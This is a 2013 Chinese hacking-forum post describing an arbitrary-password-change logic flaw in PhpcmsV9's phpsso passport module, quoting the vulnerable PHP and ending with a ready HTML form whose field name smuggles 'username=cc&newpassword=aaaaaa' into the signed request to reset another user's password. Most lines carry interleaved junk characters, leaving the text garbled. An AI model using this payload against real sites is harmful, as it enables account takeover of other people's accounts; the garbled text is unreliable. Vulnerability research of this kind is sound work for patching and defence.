找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1904|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
提到的通行证的代码:
$ N/ K; R( x1 R6 \& T) m% }+ F+ @! J/ g. z

" [6 Z# K8 q9 ^' Lparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);9 c/ B$ Y4 m% a
. H1 D7 X- ~" t: i1 X3 k  l4 @
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。: x. g4 b. b0 L$ Y6 x% e) Y" I- n! z7 D

( |& }" B( u! @我把它留给了你们。; j: ~- ?8 B2 T
不知道你们发现了它没有。
1 r2 [/ u! ?" ^0 y+ \# y6 H1 d
6 `& g9 c& u; a% J我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。, d2 t% W" F9 Q0 w8 W6 c) V  w
8 c) P$ o, Q% o5 P
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
) E( e* u; {. d
3 i* R9 ]& \7 F, ]0 s也就是$ I. t: i9 E( ?2 z
$ Y' S! a- j$ _) K' Y
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
: D# K9 o# z7 r4 @
, A' F) E$ a* `' [7 r# l要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。4 c9 {" ~, j8 _& L8 L" f
3 Z6 M6 @# g7 r4 [* z
  A7 [( h3 \. d5 K6 k
其实我们有这样的机会,看看代码,如下:: e! o/ o8 G! _- ?* ]. F
. [: A, E4 p$ Y" F: c+ Z" x

) k! v* n: p6 T1 J1 w/ K5 vpublic function auth_data($data) {
0 ~( Z, x0 i- u" p) r1 Y6 w" [                $s = $sep = '';$ M/ }  o& c1 u& c' ~2 Y# t+ ]
                foreach($data as $k => $v) {& o1 D+ ]9 r" X% L, S5 e& W
                        if(is_array($v)) {/ k# @0 }. B3 b6 ~( a
                                $s2 = $sep2 = '';0 p" Q7 o% G4 L) p! {1 S$ J
                                foreach($v as $k2 => $v2) {
. J0 ~  J0 Q( \+ M0 u) A                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);& M3 _. F7 O# |  g1 p
                                        $sep2 = '&';4 v# n6 S+ F( r* G$ r$ M# P7 _
                                }- y1 b# D& o1 G7 z: ^" K
                                $s .= $sep.$s2;" {: y7 f7 r3 e9 D9 k
                        } else {
9 U0 a$ P# s( f                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
3 _1 w; L' o2 d" Q. [                        }/ L/ J. f; w, H* Y, \+ R
                        $sep = '&';
+ G- E' L. v0 `8 @3 U7 G, t/ U                }
$ C& t, g! _& i. {0 B3 D$ \" e, |% I  E" \# v4 [( C2 Q
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
  ?6 ~( I8 i) K5 T$ }4 w                return $auth_s;  |  A: o/ t5 _, u0 I) p) ?
        }
) k: X. N* E2 h5 s4 L& B4 ^* V
: F: N2 T9 X6 q, h1 w, e  I) }* k可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。+ X. F1 F1 c7 S$ t: _2 |
7 ~" T" X$ j; a% _/ b8 _$ |
举个例子( q7 f$ {0 y' s' g+ \! b9 b  Q
' e$ }# h7 f& _
$a[aaa=a&bbb] = 'a';0 S1 u7 ?* J: G  ~4 r7 V/ I

! c" b1 F) w: x: p  t1 _% t会变成aaa=a&bbb=a9 H/ W  k% e( H

; a% o7 i6 a, Q( [6 d2 @2 I明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。$ w# ^# P  t- D* N# |; k
$ D( a. N5 |# l" y' d
这个时候,我们可以再去看一个函数。
0 T* q% n4 h; s) H: p$ Q% V4 g8 Q
8 @( w" U3 @0 S( L) @' T就在这个文件内:
7 {% U; ^, n2 {& r# w1 O7 _9 n0 s+ n" x; E* i( K* \: b, I
$ c2 {- u$ w( |! N: [6 _, j
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {. `' C) R; U' {3 ]
                if($email && !$this->_is_email($email)) {0 e0 S# x! b) A  j4 U1 a
                        return -4;
% T, c( P" G1 f0 u8 B+ I2 P/ C                }
5 G# `3 c. M6 j1 u5 G! Z                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
4 A% X, T& h/ ^- c7 B/ B        }. o4 W/ S2 J# u' m) c' T

; q2 Q! X9 r- ]9 p4 T& i+ b  Y这是向通行证发了这样一个请求。2 u' E+ i; t# ?: s, ~5 i5 g, z9 L

  C+ U/ T9 m" G8 j5 R我们再跟到通信证代码里去看看,就会有所发现。: x, \0 k2 V5 e6 }8 H

* y6 s* @9 l$ `5 T2 M: d7 n9 F2 M+ I" b& c4 V
public function edit() {* N2 ]! Q6 W/ q: L4 g
//能省就省,太长了不是吗?8 Q, }% L9 v: g3 P. ?
1 n% n9 T6 j; R
if($this->username) {# E/ L0 Z0 H3 M* {; s$ u
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
2 t% Z+ v6 j  t- {                                $res = $this->db->update($data, array('username'=>$this->username));$ T, j5 Z, g; f" N0 M& \
                        } else {9 `8 L4 N) p, W+ j+ \
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);* q) p2 i& r) ~* v0 T* t+ V( y: f
                                $res = $this->db->update($data, array('uid'=>$this->uid));
4 v  j+ t' r/ O8 \                        }, g4 ~# r5 X: x9 u

! y! F8 L8 ?& p' @5 V1 G2 g好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
6 n) H4 n7 F3 z1 \0 p' ~0 N$ [: A  t- K: w* Z, U4 ^  s8 n
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')- b( ~& j" s- i5 }

3 n( N* W- i1 i+ p* i/ }3 T0 l很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。/ B4 f$ T( l; |: ?, I

. {' E" Q1 R0 m0 ]我当然找到了:3 X, [0 m1 j9 e4 K* |; s
phpcms9/phpcms/modules/member/index.php1 I- j& a* O% h
+ M- J3 E, R0 p+ U9 ?3 F: c
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
' {( {+ O- H# N1 _& k0 R8 |4 y- Q" I# O6 J( F) i9 c6 q- T6 E
然后就没有然后了。/ l8 M( r: w1 T* H
& g, c  K  b8 d/ L
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
( i. d2 {$ d5 {6 x9 R                                <table width="100%" cellspacing="0" class="table_form">$ h/ |7 B7 h, G
                                        <tr>7 `7 B6 j6 @, p- v$ y% P% p' s
                                                <th width="80">邮箱:</th>        
4 J& B! n4 \" c% n                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>: p; p8 N' e2 l0 D3 c5 I$ F
                                        </tr>
7 x7 j( B% ]2 p& P4 ]& T6 I) R                                        <tr>3 [0 d. e+ s' s- D0 J+ w$ o
                                                <th width="80">原密码:</th>        & ~3 d: y* N! K/ H9 d( w
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
8 e# {: b' X8 [6 L3 P9 Z( L& H: [                                        </tr>
1 I7 |0 ?' b$ u( V! S6 s                                        <tr>
5 j" g; M' u! i& ?                                                <th>新密码:</th>
  V! m: B4 T. o6 O* E8 w! @0 f3 @                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
: t  h* B+ [) y                                        </tr>. @- ^- s5 n  b
                                        <th></th># `3 g9 z, a- p( n1 I4 U
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>/ Q7 M6 D: S1 C8 A
                                        </tr>0 F( D/ i1 q- d! U
                                </table>
3 ~6 k* x. q* O* Z2 G& @- S8 l: w0 B/ b2 t
                                / \1 m0 A" H3 [
                        </form>
- i$ b; x- R. ?' s5 `1 m  W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表